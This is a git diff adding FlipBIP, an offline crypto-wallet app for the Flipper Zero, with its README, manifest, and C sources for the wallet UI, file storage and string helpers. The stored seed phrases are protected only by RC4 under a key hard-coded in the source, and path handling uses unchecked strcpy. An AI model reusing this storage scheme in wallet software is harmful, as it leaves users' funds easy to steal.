- Imports and some C library functions modified for compatibility with FBT
- Navigation and UI adapted from FAP Boilerplate app
- BIP39 mnemonic generation
- 24, 18, or 12 words configured in settings
- BIP39 mnemonic to BIP39 seed generation
- Hierarchical Deterministic (HD) wallet generation from seed
- Generation of offline `m/44'/0'/0'/0` BTC wallet
- Generation of offline `m/44'/60'/0'/0` ETH wallet (coded from the $SPORK Castle of ETHDenver 2023!)
- Generation of offline `m/44'/3'/0'/0` DOGE wallet
- Generation of offline `m/44'/133'/0'/0` ZEC transparent address wallet (by @wh00hw)
- Similar features to: https://iancoleman.io/bip39/
- Saving wallets to SD card
- Wallets are saved to SD card upon creation in `apps_data/flipbip`
- NOTE: `apps_data` folder must already exist on SD card!
- Saved wallets can be viewed between app runs
- Wallets are encrypted with a randomly generated key, and that key is also encrypted
- `.flipbip.dat` and `.flipbip.key` files are both required to be in `apps_data/flipbip`
- Backups of both these files `.flipbip.dat.bak` and `.flipbip.key.bak` are also maintained
- If you want to externally back up your wallet, I recommend copying all these files, and storing the `key` and `dat` files seperately
- NOTE: The wallets should be decently tough to crack off of a Flipper, however any Flipper with the app installed can load a wallet in the `apps_data/flipbip` directory if both the `key` and `dat` file are present
- BIP39 passphrase support
- Configured in settings, not persisted between runs for security
- Import your own mnemonic
- Lots of typing required but you can now use the wallet with an existing mnemonic you have saved
- Useful to convert paper backup to keys and receive addresses without relying on a laptop or phone
- Improved receive address generation features
- Addresses are now generated at the same time as other pieces of wallet info
- This slows down initial wallet load, but makes UI much more responsive
- QR code files are now generated for each address and stored in the `apps_data/flipbip` directory
- This app is required to view the QR code files: https://github.com/bmatcuk/flipperzero-qrcode
- NOTE: This happens during the `View Wallet` step; you must view a wallet after generating/importing a wallet in order to ensure the address QR files are correct
- Broke out crypto functionality into its own library using `fap_private_libs` feature
### Work in Progress
- More coin types
- Support for more custom BIP32 wallet paths
### (FAR) Future
- Custom wallet security
- User specified password
- USB/Bluetooth wallet functionality
@@ -0,0 +1,22 @@
App(
appid="flipbip",
name="FlipBIP Crypto Wallet",
apptype=FlipperAppType.EXTERNAL,
entry_point="flipbip_app",
requires=[
"gui",
],
stack_size=3 * 1024,
order=10,
fap_icon="flipbip_10px.png",
fap_private_libs=[
Lib(
name="crypto",
),
],
fap_category="Tools",
fap_author="Struan Clark (xtruan)",
fap_weburl="https://github.com/xtruan/FlipBIP",
fap_version=(1, 17),
fap_description="Crypto wallet for Flipper",
)
+239
View File
@@ -0,0 +1,239 @@
#include "flipbip.h"
#include "helpers/flipbip_file.h"
// From: lib/crypto
#include <memzero.h>
#include <bip39.h>
#define MNEMONIC_MENU_DEFAULT "Import mnemonic seed"
#define MNEMONIC_MENU_SUCCESS "Import seed (success)"
#define MNEMONIC_MENU_FAILURE "Import seed (failed!)"
bool flipbip_custom_event_callback(void* context, uint32_t event) {
furi_assert(context);
FlipBip* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
void flipbip_tick_event_callback(void* context) {
furi_assert(context);
FlipBip* app = context;
scene_manager_handle_tick_event(app->scene_manager);
}
//leave app if back button pressed
bool flipbip_navigation_event_callback(void* context) {
furi_assert(context);
FlipBip* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static void text_input_callback(void* context) {
furi_assert(context);
FlipBip* app = context;
bool handled = false;
// check that there is text in the input
if(strlen(app->input_text) > 0) {
if(app->input_state == FlipBipTextInputPassphrase) {
if(app->passphrase == FlipBipPassphraseOn) {
strcpy(app->passphrase_text, app->input_text);
}
// clear input text
memzero(app->input_text, TEXT_BUFFER_SIZE);
// reset input state
app->input_state = FlipBipTextInputDefault;
handled = true;
// switch back to settings view
view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdSettings);
} else if(app->input_state == FlipBipTextInputMnemonic) {
if(app->import_from_mnemonic == 1) {
strcpy(app->import_mnemonic_text, app->input_text);
int status = FlipBipStatusSuccess;
// Check if the mnemonic is valid
if(mnemonic_check(app->import_mnemonic_text) == 0)
status = FlipBipStatusMnemonicCheckError; // 13 = mnemonic check error
// Save the mnemonic to persistent storage
else if(!flipbip_save_file_secure(app->import_mnemonic_text))
status = FlipBipStatusSaveError; // 12 = save error
if(status == FlipBipStatusSuccess) {
app->mnemonic_menu_text = MNEMONIC_MENU_SUCCESS;
//notification_message(app->notification, &sequence_blink_cyan_100);
//flipbip_play_happy_bump(app);
} else {
app->mnemonic_menu_text = MNEMONIC_MENU_FAILURE;
//notification_message(app->notification, &sequence_blink_red_100);
//flipbip_play_long_bump(app);
}
memzero(app->import_mnemonic_text, TEXT_BUFFER_SIZE);
}
// clear input text
memzero(app->input_text, TEXT_BUFFER_SIZE);
// reset input state
app->input_state = FlipBipTextInputDefault;
handled = true;
// exit scene 1 instance that's being used for text input and go back to menu
scene_manager_previous_scene(app->scene_manager);
//view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu);
}
}
if(!handled) {
// clear input text
memzero(app->input_text, TEXT_BUFFER_SIZE);
// reset input state
app->input_state = FlipBipTextInputDefault;
// something went wrong, switch to menu view
view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu);
}
}
static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* context) {
FlipBip* app = context;
if(result == DialogExResultRight) {
app->wallet_create(app);
} else {
view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu);
}
}
static void flipbip_wallet_create(void* context) {
FlipBip* app = context;
furi_assert(app);
scene_manager_set_scene_state(app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New);
scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1);
}
FlipBip* flipbip_app_alloc() {
FlipBip* app = malloc(sizeof(FlipBip));
app->gui = furi_record_open(RECORD_GUI);
//app->notification = furi_record_open(RECORD_NOTIFICATION);
// Turn backlight on, believe me this makes testing your app easier
//notification_message(app->notification, &sequence_display_backlight_on);
// Scene additions
app->view_dispatcher = view_dispatcher_alloc();
app->scene_manager = scene_manager_alloc(&flipbip_scene_handlers, app);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, flipbip_navigation_event_callback);
view_dispatcher_set_tick_event_callback(
app->view_dispatcher, flipbip_tick_event_callback, 100);
view_dispatcher_set_custom_event_callback(app->view_dispatcher, flipbip_custom_event_callback);
app->submenu = submenu_alloc();
// Settings
app->bip39_strength = FlipBipStrength256; // 256 bits (24 words)
app->passphrase = FlipBipPassphraseOff;
// Main menu
app->bip44_coin = FlipBipCoinBTC0; // 0 (BTC)
app->overwrite_saved_seed = 0;
app->import_from_mnemonic = 0;
app->mnemonic_menu_text = MNEMONIC_MENU_DEFAULT;
// Text input
app->input_state = FlipBipTextInputDefault;
view_dispatcher_add_view(
app->view_dispatcher, FlipBipViewIdMenu, submenu_get_view(app->submenu));
app->flipbip_scene_1 = flipbip_scene_1_alloc();
view_dispatcher_add_view(
app->view_dispatcher, FlipBipViewIdScene1, flipbip_scene_1_get_view(app->flipbip_scene_1));
app->variable_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
FlipBipViewIdSettings,
variable_item_list_get_view(app->variable_item_list));
app->text_input = text_input_alloc();
text_input_set_result_callback(
app->text_input,
text_input_callback,
(void*)app,
app->input_text,
TEXT_BUFFER_SIZE,
// clear default text
true);
//text_input_set_header_text(app->text_input, "Input");
view_dispatcher_add_view(
app->view_dispatcher, FlipBipViewIdTextInput, text_input_get_view(app->text_input));
app->wallet_create = flipbip_wallet_create;
app->renew_dialog = dialog_ex_alloc();
dialog_ex_set_result_callback(app->renew_dialog, flipbip_scene_renew_dialog_callback);
dialog_ex_set_context(app->renew_dialog, app);
dialog_ex_set_left_button_text(app->renew_dialog, "No");
dialog_ex_set_right_button_text(app->renew_dialog, "Yes");
dialog_ex_set_header(
app->renew_dialog,
"Current wallet\nwill be deleted!\nProceed?",
16,
12,
AlignLeft,
AlignTop);
view_dispatcher_add_view(
app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog));
// End Scene Additions
return app;
}
void flipbip_app_free(FlipBip* app) {
furi_assert(app);
// Scene manager
scene_manager_free(app->scene_manager);
text_input_free(app->text_input);
// View Dispatcher
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdMenu);
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdScene1);
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdSettings);
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdTextInput);
submenu_free(app->submenu);
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewRenewConfirm);
dialog_ex_free(app->renew_dialog);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
app->gui = NULL;
//app->notification = NULL;
//Remove whatever is left
memzero(app, sizeof(FlipBip));
free(app);
}
int32_t flipbip_app(void* p) {
UNUSED(p);
FlipBip* app = flipbip_app_alloc();
// Disabled because causes exit on custom firmwares such as RM
/*if(!furi_hal_region_is_provisioned()) {
flipbip_app_free(app);
return 1;
}*/
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
scene_manager_next_scene(app->scene_manager, FlipBipSceneMenu); //Start with menu
furi_hal_power_suppress_charge_enter();
view_dispatcher_run(app->view_dispatcher);
furi_hal_power_suppress_charge_exit();
flipbip_app_free(app);
return 0;
}
+105
View File
@@ -0,0 +1,105 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
//#include <notification/notification_messages.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/submenu.h>
#include <gui/scene_manager.h>
#include <gui/modules/dialog_ex.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/text_input.h>
#include "scenes/flipbip_scene.h"
#include "views/flipbip_scene_1.h"
#define FLIPBIP_VERSION "v1.17"
#define COIN_BTC 0
#define COIN_DOGE 3
#define COIN_ETH 60
#define COIN_ZEC 133
#define TEXT_BUFFER_SIZE 256
typedef struct {
Gui* gui;
// NotificationApp* notification;
ViewDispatcher* view_dispatcher;
Submenu* submenu;
SceneManager* scene_manager;
VariableItemList* variable_item_list;
TextInput* text_input;
DialogEx* renew_dialog;
FlipBipScene1* flipbip_scene_1;
char* mnemonic_menu_text;
// Settings options
int bip39_strength;
int passphrase;
// Main menu options
int bip44_coin;
int overwrite_saved_seed;
int import_from_mnemonic;
// Text input
int input_state;
char passphrase_text[TEXT_BUFFER_SIZE];
char import_mnemonic_text[TEXT_BUFFER_SIZE];
char input_text[TEXT_BUFFER_SIZE];
void (*wallet_create)(void* context);
} FlipBip;
typedef enum {
FlipBipViewIdStartscreen,
FlipBipViewIdMenu,
FlipBipViewIdScene1,
FlipBipViewIdSettings,
FlipBipViewIdTextInput,
FlipBipViewRenewConfirm,
} FlipBipViewId;
typedef enum {
FlipBipStrength128,
FlipBipStrength192,
FlipBipStrength256,
} FlipBipStrengthState;
typedef enum {
FlipBipPassphraseOff,
FlipBipPassphraseOn,
} FlipBipPassphraseState;
typedef enum {
FlipBipCoinBTC0,
FlipBipCoinETH60,
FlipBipCoinDOGE3,
FlipBipCoinZEC133,
} FlipBipCoin;
typedef enum {
FlipBipTextInputDefault,
FlipBipTextInputPassphrase,
FlipBipTextInputMnemonic
} FlipBipTextInputState;
typedef enum {
FlipBipStatusSuccess = 0,
FlipBipStatusReturn = 10,
FlipBipStatusLoadError = 11,
FlipBipStatusSaveError = 12,
FlipBipStatusMnemonicCheckError = 13,
} FlipBipStatus;
typedef enum {
SubmenuIndexScene1BTC = 10,
SubmenuIndexScene1ETH,
SubmenuIndexScene1DOGE,
SubmenuIndexScene1ZEC,
SubmenuIndexScene1New,
SubmenuIndexScene1Renew,
SubmenuIndexScene1Import,
SubmenuIndexSettings,
SubmenuIndexNOP,
} SubmenuIndex;
Binary file not shown.

After

Width:  |  Height:  |  Size: 183 B

@@ -0,0 +1,10 @@
#pragma once
typedef enum {
FlipBipCustomEventScene1Up,
FlipBipCustomEventScene1Down,
FlipBipCustomEventScene1Left,
FlipBipCustomEventScene1Right,
FlipBipCustomEventScene1Ok,
FlipBipCustomEventScene1Back,
} FlipBipCustomEvent;
@@ -0,0 +1,314 @@
#include "flipbip_file.h"
#include <storage/storage.h>
#include <loader/loader.h>
#include "../helpers/flipbip_string.h"
// From: lib/crypto
#include <memzero.h>
#include <rand.h>
// #define FLIPBIP_APP_BASE_FOLDER APP_DATA_PATH("flipbip")
#define FLIPBIP_APP_BASE_FOLDER EXT_PATH("apps_data/flipbip")
#define FLIPBIP_APP_BASE_FOLDER_PATH(path) FLIPBIP_APP_BASE_FOLDER "/" path
#define FLIPBIP_DAT_FILE_NAME ".flipbip.dat"
// #define FLIPBIP_DAT_FILE_NAME ".flipbip.dat.txt"
#define FLIPBIP_DAT_FILE_NAME_BAK ".flipbip.dat.bak"
#define FLIPBIP_KEY_FILE_NAME ".flipbip.key"
// #define FLIPBIP_KEY_FILE_NAME ".flipbip.key.txt"
#define FLIPBIP_KEY_FILE_NAME_BAK ".flipbip.key.bak"
#define FLIPBIP_DAT_PATH FLIPBIP_APP_BASE_FOLDER_PATH(FLIPBIP_DAT_FILE_NAME)
#define FLIPBIP_DAT_PATH_BAK FLIPBIP_APP_BASE_FOLDER_PATH(FLIPBIP_DAT_FILE_NAME_BAK)
#define FLIPBIP_KEY_PATH FLIPBIP_APP_BASE_FOLDER_PATH(FLIPBIP_KEY_FILE_NAME)
#define FLIPBIP_KEY_PATH_BAK FLIPBIP_APP_BASE_FOLDER_PATH(FLIPBIP_KEY_FILE_NAME_BAK)
const char* TEXT_QRFILE = "Filetype: QRCode\n"
"Version: 0\n"
"Message: "; // 37 chars + 1 null
#define FILE_HLEN 4
#define FILE_KLEN 256
#define FILE_SLEN 512
#define FILE_MAX_PATH_LEN 48
#define FILE_MAX_QRFILE_CONTENT 90
const char* FILE_HSTR = "fb01";
const char* FILE_K1 = "fb0131d5cf688221c109163908ebe51debb46227c6cc8b37641910833222772a"
"baefe6d9ceb651842260e0d1e05e3b90d15e7d5ffaaabc0207bf200a117793a2";
bool flipbip_load_file(
char* settings,
size_t slen,
const FlipBipFile file_type,
const char* file_name) {
bool ret = false;
const char* path;
char path_buf[FILE_MAX_PATH_LEN] = {0};
if(file_type == FlipBipFileKey) {
path = FLIPBIP_KEY_PATH;
} else if(file_type == FlipBipFileDat) {
path = FLIPBIP_DAT_PATH;
} else {
strcpy(path_buf, FLIPBIP_APP_BASE_FOLDER); // 22
strcpy(path_buf + strlen(path_buf), "/");
strcpy(path_buf + strlen(path_buf), file_name);
path = path_buf;
}
Storage* fs_api = furi_record_open(RECORD_STORAGE);
File* settings_file = storage_file_alloc(fs_api);
if(storage_file_open(settings_file, path, FSAM_READ, FSOM_OPEN_EXISTING)) {
char chr;
size_t i = 0;
while((storage_file_read(settings_file, &chr, 1) == 1) &&
!storage_file_eof(settings_file) && !isspace(chr)) {
if(i < slen) {
settings[i] = chr;
}
i++;
}
ret = true;
} else {
memzero(settings, strlen(settings));
settings[0] = '\0';
ret = false;
}
storage_file_close(settings_file);
storage_file_free(settings_file);
furi_record_close(RECORD_STORAGE);
if(strlen(settings) > 0) {
Storage* fs_api = furi_record_open(RECORD_STORAGE);
FileInfo layout_file_info;
FS_Error file_check_err = storage_common_stat(fs_api, path, &layout_file_info);
furi_record_close(RECORD_STORAGE);
if(file_check_err != FSE_OK) {
memzero(settings, strlen(settings));
settings[0] = '\0';
ret = false;
}
// if(layout_file_info.size != 256) {
// memzero(settings, strlen(settings));
// settings[0] = '\0';
// }
}
return ret;
}
bool flipbip_has_file(const FlipBipFile file_type, const char* file_name, const bool remove) {
bool ret = false;
const char* path;
char path_buf[FILE_MAX_PATH_LEN] = {0};
if(file_type == FlipBipFileKey) {
path = FLIPBIP_KEY_PATH;
} else if(file_type == FlipBipFileDat) {
path = FLIPBIP_DAT_PATH;
} else {
strcpy(path_buf, FLIPBIP_APP_BASE_FOLDER); // 22
strcpy(path_buf + strlen(path_buf), "/");
strcpy(path_buf + strlen(path_buf), file_name);
path = path_buf;
}
Storage* fs_api = furi_record_open(RECORD_STORAGE);
if(remove) {
ret = storage_simply_remove(fs_api, path);
} else {
ret = storage_file_exists(fs_api, path);
}
furi_record_close(RECORD_STORAGE);
return ret;
}
bool flipbip_save_file(
const char* settings,
const FlipBipFile file_type,
const char* file_name,
const bool append) {
bool ret = false;
const char* path;
const char* path_bak;
char path_buf[FILE_MAX_PATH_LEN] = {0};
if(file_type == FlipBipFileKey) {
path = FLIPBIP_KEY_PATH;
path_bak = FLIPBIP_KEY_PATH_BAK;
} else if(file_type == FlipBipFileDat) {
path = FLIPBIP_DAT_PATH;
path_bak = FLIPBIP_DAT_PATH_BAK;
} else {
strcpy(path_buf, FLIPBIP_APP_BASE_FOLDER); // 22
strcpy(path_buf + strlen(path_buf), "/");
strcpy(path_buf + strlen(path_buf), file_name);
path = path_buf;
path_bak = NULL;
}
int open_mode = FSOM_OPEN_ALWAYS;
if(append) {
open_mode = FSOM_OPEN_APPEND;
}
Storage* fs_api = furi_record_open(RECORD_STORAGE);
// // if the key file exists, we don't want to overwrite it
// if (key_file && storage_file_exists(fs_api, path)) {
// furi_record_close(RECORD_STORAGE);
// ret = true;
// return ret;
// }
// try to create the folder
storage_simply_mkdir(fs_api, FLIPBIP_APP_BASE_FOLDER);
File* settings_file = storage_file_alloc(fs_api);
if(storage_file_open(settings_file, path, FSAM_WRITE, open_mode)) {
storage_file_write(settings_file, settings, strlen(settings));
storage_file_write(settings_file, "\n", 1);
ret = true;
}
storage_file_close(settings_file);
storage_file_free(settings_file);
if(path_bak != NULL) {
File* settings_file_bak = storage_file_alloc(fs_api);
if(storage_file_open(settings_file_bak, path_bak, FSAM_WRITE, open_mode)) {
storage_file_write(settings_file_bak, settings, strlen(settings));
storage_file_write(settings_file_bak, "\n", 1);
}
storage_file_close(settings_file_bak);
storage_file_free(settings_file_bak);
}
furi_record_close(RECORD_STORAGE);
return ret;
}
bool flipbip_save_qrfile(
const char* qr_msg_prefix,
const char* qr_msg_content,
const char* file_name) {
char qr_buf[FILE_MAX_QRFILE_CONTENT] = {0};
strcpy(qr_buf, TEXT_QRFILE);
strcpy(qr_buf + strlen(qr_buf), qr_msg_prefix);
strcpy(qr_buf + strlen(qr_buf), qr_msg_content);
return flipbip_save_file(qr_buf, FlipBipFileOther, file_name, false);
}
bool flipbip_load_file_secure(char* settings) {
const size_t dlen = FILE_HLEN + FILE_SLEN + 1;
// allocate memory for key/data
char* data = malloc(dlen);
memzero(data, dlen);
// load k2 from file
if(!flipbip_load_file(data, dlen, FlipBipFileKey, NULL)) return false;
// check header
if(data[0] != FILE_HSTR[0] || data[1] != FILE_HSTR[1] || data[2] != FILE_HSTR[2] ||
data[3] != FILE_HSTR[3]) {
memzero(data, dlen);
free(data);
return false;
}
// seek --> header
data += FILE_HLEN;
// prepare k1
uint8_t k1[64];
flipbip_xtob(FILE_K1, k1, strlen(FILE_K1) / 2);
// load k2 from file buffer (secured by k1)
flipbip_cipher(k1, strlen(FILE_K1) / 2, data, data, FILE_KLEN);
uint8_t k2[128];
flipbip_xtob(data, k2, FILE_KLEN / 2);
// zero k2 buffer
memzero(data, FILE_KLEN);
// seek <-- header
data -= FILE_HLEN;
// load data from file
if(!flipbip_load_file(data, dlen, FlipBipFileDat, NULL)) return false;
// check header
if(data[0] != FILE_HSTR[0] || data[1] != FILE_HSTR[1] || data[2] != FILE_HSTR[2] ||
data[3] != FILE_HSTR[3]) {
memzero(data, dlen);
free(data);
memzero(k1, strlen(FILE_K1) / 2);
memzero(k2, FILE_KLEN / 2);
return false;
}
// seek --> header
data += FILE_HLEN;
// load settings from file buffer (secured by k2)
flipbip_cipher(k2, FILE_KLEN / 2, data, data, FILE_SLEN);
flipbip_xtob(data, (unsigned char*)data, FILE_SLEN / 2);
// copy to output
strcpy(settings, data);
// seek <-- header
data -= FILE_HLEN;
// clear memory
memzero(data, dlen);
free(data);
memzero(k1, strlen(FILE_K1) / 2);
memzero(k2, FILE_KLEN / 2);
return true;
}
bool flipbip_save_file_secure(const char* settings) {
const size_t dlen = FILE_HLEN + FILE_SLEN + 1;
// cap settings to 256 bytes
size_t len = strlen(settings);
if(len > (FILE_SLEN / 2)) len = FILE_SLEN / 2;
// allocate memory for key/data
char* data = malloc(dlen);
memzero(data, dlen);
// write header
strncpy(data, FILE_HSTR, FILE_HLEN);
// seek --> header
data += FILE_HLEN;
// prepare k1
uint8_t k1[64];
flipbip_xtob(FILE_K1, k1, strlen(FILE_K1) / 2);
// generate k2
uint8_t k2[128];
random_buffer(k2, FILE_KLEN / 2);
// write k2 to file buffer (secured by k1)
flipbip_btox(k2, FILE_KLEN / 2, data);
flipbip_cipher(k1, strlen(FILE_K1) / 2, data, data, FILE_KLEN);
// seek <-- header
data -= FILE_HLEN;
// save k2 to file
flipbip_save_file(data, FlipBipFileKey, NULL, false);
// seek --> header
data += FILE_HLEN;
// zero k2 memory
memzero(data, FILE_KLEN);
// write settings to file buffer (secured by k2)
flipbip_btox((uint8_t*)settings, len, data);
flipbip_cipher(k2, FILE_KLEN / 2, data, data, FILE_SLEN);
// seek <-- header
data -= FILE_HLEN;
// save data to file
flipbip_save_file(data, FlipBipFileDat, NULL, false);
// clear memory
memzero(data, dlen);
free(data);
memzero(k1, strlen(FILE_K1) / 2);
memzero(k2, FILE_KLEN / 2);
return true;
}
@@ -0,0 +1,28 @@
#include <stdbool.h>
#include <stddef.h>
typedef enum {
FlipBipFileDat,
FlipBipFileKey,
FlipBipFileOther,
} FlipBipFile;
bool flipbip_has_file(const FlipBipFile file_type, const char* file_name, const bool remove);
bool flipbip_load_file(
char* settings,
size_t slen,
const FlipBipFile file_type,
const char* file_name);
bool flipbip_save_file(
const char* settings,
const FlipBipFile file_type,
const char* file_name,
const bool append);
bool flipbip_save_qrfile(
const char* qr_msg_prefix,
const char* qr_msg_content,
const char* file_name);
bool flipbip_load_file_secure(char* settings);
bool flipbip_save_file_secure(const char* settings);
@@ -0,0 +1,129 @@
/*
* Copyright (c) 1988 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include "flipbip_string.h"
#include <ctype.h>
#include <stdint.h>
#include <string.h>
// From: lib/crypto
#include <memzero.h>
#include <rc4.h>
char* flipbip_strtok(char* s, const char* delim) {
static char* last;
return flipbip_strtok_r(s, delim, &last);
}
char* flipbip_strtok_r(char* s, const char* delim, char** last) {
char* spanp;
int c, sc;
char* tok;
if(s == NULL && (s = *last) == NULL) return (NULL);
/*
* Skip (span) leading delimiters (s += strspn(s, delim), sort of).
*/
cont:
c = *s++;
for(spanp = (char*)delim; (sc = *spanp++) != 0;) {
if(c == sc) goto cont;
}
if(c == 0) { /* no non-delimiter characters */
*last = NULL;
return (NULL);
}
tok = s - 1;
/*
* Scan token (scan for delimiters: s += strcspn(s, delim), sort of).
* Note that delim must have one NUL; we stop if we see that, too.
*/
for(;;) {
c = *s++;
spanp = (char*)delim;
do {
if((sc = *spanp++) == c) {
if(c == 0)
s = NULL;
else
s[-1] = 0;
*last = s;
return (tok);
}
} while(sc != 0);
}
/* NOTREACHED */
}
void flipbip_btox(const unsigned char* in, int in_len, char* str) {
for(int i = 0; i < in_len; i++) {
unsigned char n;
unsigned char x = in[i];
str += 2;
*(str + (i * 2)) = '\0';
for(n = 2; n != 0; --n) {
*(--str + (i * 2)) = "0123456789abcdef"[x & 0x0F];
x >>= 4;
}
}
}
void flipbip_xtob(const char* str, unsigned char* out, int out_len) {
int len = strlen(str) / 2;
if(len > out_len) len = out_len;
for(int i = 0; i < len; i++) {
char c = 0;
if(str[i * 2] >= '0' && str[i * 2] <= '9') c += (str[i * 2] - '0') << 4;
if((str[i * 2] & ~0x20) >= 'A' && (str[i * 2] & ~0x20) <= 'F')
c += (10 + (str[i * 2] & ~0x20) - 'A') << 4;
if(str[i * 2 + 1] >= '0' && str[i * 2 + 1] <= '9') c += (str[i * 2 + 1] - '0');
if((str[i * 2 + 1] & ~0x20) >= 'A' && (str[i * 2 + 1] & ~0x20) <= 'F')
c += (10 + (str[i * 2 + 1] & ~0x20) - 'A');
out[i] = c;
}
}
void flipbip_cipher(
const unsigned char* key_in,
const unsigned int key_len,
const char* in,
char* out,
const unsigned int io_len) {
if(io_len > 512) return;
RC4_CTX ctx;
uint8_t buf[256];
memzero(buf, 256);
flipbip_xtob(in, buf, io_len / 2);
rc4_init(&ctx, key_in, key_len);
rc4_encrypt(&ctx, buf, 256);
flipbip_btox(buf, io_len / 2, out);
memzero(buf, 256);
}
@@ -0,0 +1,12 @@
char* flipbip_strtok(char* s, const char* delim);
char* flipbip_strtok_r(char* s, const char* delim, char** last);
void flipbip_btox(const unsigned char* in, int in_len, char* str);
void flipbip_xtob(const char* str, unsigned char* out, int out_len);
void flipbip_cipher(
const unsigned char* key_in,
const unsigned int key_len,
const char* in,
char* out,
const unsigned int io_len);
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

@@ -0,0 +1,2 @@
Tomas Dzetkulic <dzetkulic@gmail.com>
Pavol Rusnak <stick@gk2.sk>
@@ -0,0 +1,17 @@
Tomas Dzetkulic <dzetkulic@gmail.com>
Pavol Rusnak <stick@gk2.sk>
Jochen Hoenicke <hoenicke@gmail.com>
Dustin Laurence <dustin@laurences.net>
Ondrej Mikle <ondrej.mikle@nic.cz>
Roman Zeyde <roman.zeyde@gmail.com>
Alex Beregszaszi <alex@rtfs.hu>
netanelkl <netanel.keidar@gmail.com>
Jan Pochyla <jpochyla@gmail.com>
Ondrej Mikle <ondrej.mikle@gmail.com>
Josh Billings <jdb6167@rit.edu>
Adam Mackler <AdamMackler@gmail.com>
Oleg Andreev <oleganza@gmail.com>
mog <mog@rush.rldn.net>
John Dvorak <johndvorak26@gmail.com>
Christian Reitter <invd@inhq.net>
Struan Clark <xtruan@users.noreply.github.com>
@@ -0,0 +1,22 @@
The MIT License (MIT)
Copyright (c) 2013 Tomas Dzetkulic
Copyright (c) 2013 Pavol Rusnak
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,187 @@
# CLANG_VERSION is empty if the compiler is not clang-based
CLANG_VERSION = $(shell $(CC) --version | sed -nr 's/^.*clang version ([0-9.]+).*$$/\1/p')
CLANG_VERSION_MAJOR = $(shell echo $(CLANG_VERSION) | cut -f1 -d.)
# determine specific version ranges
ifneq ($(CLANG_VERSION),)
$(if $(shell [ $(CLANG_VERSION_MAJOR) -ge 13 ] && echo "OK"), \
